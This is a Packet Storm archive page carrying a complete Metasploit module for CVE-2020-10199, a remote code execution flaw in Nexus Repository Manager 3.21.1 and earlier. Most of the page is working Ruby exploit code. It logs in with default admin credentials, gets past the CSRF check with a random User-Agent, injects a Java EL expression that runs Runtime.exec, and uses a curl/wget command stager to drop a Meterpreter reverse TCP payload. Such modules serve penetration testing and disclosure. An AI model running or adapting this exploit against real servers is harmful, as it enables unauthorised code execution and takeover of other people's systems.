what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nexus Repository Manager 3.21.1-01 Remote Code Execution

Nexus Repository Manager 3.21.1-01 Remote Code Execution
Posted Apr 16, 2020
Authored by Alvaro Munoz, wvu | Site metasploit.com

This Metasploit module exploits a Java Expression Language (EL) injection in Nexus Repository Manager versions up to and including 3.21.1 to execute code as the Nexus user. Tested against 3.21.1-01.

tags | exploit, java
advisories | CVE-2020-10199
SHA-256 | ba203b5afb621ea0d6a7f758f8ca6d420ae05e8217e8e4ec4f05955a24267ff2

Nexus Repository Manager 3.21.1-01 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Nexus Repository Manager Java EL Injection RCE',
'Description' => %q{
This module exploits a Java Expression Language (EL) injection in Nexus
Repository Manager versions up to and including 3.21.1 to execute code
as the Nexus user. Tested against 3.21.1-01.
},
'Author' => [
'Alvaro Muñoz', # Discovery
'wvu' # Module
],
'References' => [
['CVE', '2020-10199'],
['URL', 'https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype'],
['URL', 'https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31']
],
'DisclosureDate' => '2020-03-31', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [['Nexus Repository Manager <= 3.21.1', {}]],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'},
'CmdStagerFlavor' => %i[curl wget],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_options([
Opt::RPORT(8081),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Nexus username', 'admin']),
OptString.new('PASSWORD', [true, 'Nexus password', 'admin'])
])
end

def post_auth?
# Pre-auth RCE? https://twitter.com/iamnoooob/status/1246182773427240967
true
end

# Send a GET / request to the server, check the response for a Server header
# containing the Nexus version, and then check if it's a vulnerable version
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)

unless res
return CheckCode::Unknown('Target did not respond to check request.')
end

unless res.headers['Server']
return CheckCode::Unknown('Target did not respond with Server header.')
end

# Example Server header:
# Server: Nexus/3.21.1-01 (OSS)
version = res.headers['Server'].scan(%r{^Nexus/([\d.-]+)}).flatten.first

unless version
return CheckCode::Unknown('Target did not respond with Nexus version.')
end

if Gem::Version.new(version) <= Gem::Version.new('3.21.1')
return CheckCode::Appears("Nexus #{version} is a vulnerable version.")
end

CheckCode::Safe("Nexus #{version} is NOT a vulnerable version.")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

print_status("Executing command stager for #{datastore['PAYLOAD']}")

# This will drop a binary payload to disk and execute it!
execute_cmdstager(
noconcat: true,
cookie: login(datastore['USERNAME'], datastore['PASSWORD'])
)
end

def login(username, password)
print_status("Logging in with #{username}:#{password}")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rapture/session'),
'vars_post' => {
'username' => Rex::Text.encode_base64(username),
'password' => Rex::Text.encode_base64(password)
},
'partial' => true # XXX: Return partial response despite timeout
}, 3.5)

unless res
fail_with(Failure::Unknown, 'Target did not respond to login request')
end

cookie = res.get_cookies

unless res.code == 204 && cookie.match(/NXSESSIONID=[\h-]+/)
fail_with(Failure::NoAccess, 'Could not log in with specified creds')
end

print_good("Logged in with #{cookie}")
cookie
end

# This is defined so that CmdStager can use it!
def execute_command(cmd, opts = {})
vprint_status("Executing command: #{cmd}")

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/service/rest/beta/repositories/go/group'),
# HACK: Bypass CSRF token with random User-Agent header
'agent' => rand_text_english(8..42),
'cookie' => opts[:cookie],
'ctype' => 'application/json',
'data' => json_payload(cmd)
)

unless res
fail_with(Failure::Unknown, 'Target did not respond to payload request')
end

unless res.code == 400 && res.body.match(/java\.lang\.UNIXProcess@\h+/)
fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
end

print_good("Successfully executed command: #{cmd}")
end

# PoC based off API docs for /service/rest/beta/repositories/go/group:
# http://localhost:8081/#admin/system/api
def json_payload(cmd)
{
'name' => 'internal',
'online' => true,
'storage' => {
'blobStoreName' => 'default',
'strictContentTypeValidation' => true
},
'group' => {
# XXX: memberNames has to be an array, but the API example was a string
'memberNames' => [el_payload(cmd)]
}
}.to_json
end

# Helpful resource from which I borrowed the EL payload:
# https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
def el_payload(cmd)
# HACK: Format our EL expression nicely and then strip introduced whitespace
el = <<~EOF.gsub(/\s+/, '')
${
"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(
"".getClass().forName("java.lang.Runtime")
).exec("PATCH_ME")
}
EOF

# Patch in our command, escaping any double quotes
el.sub('PATCH_ME', cmd.gsub('"', '\\"'))
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close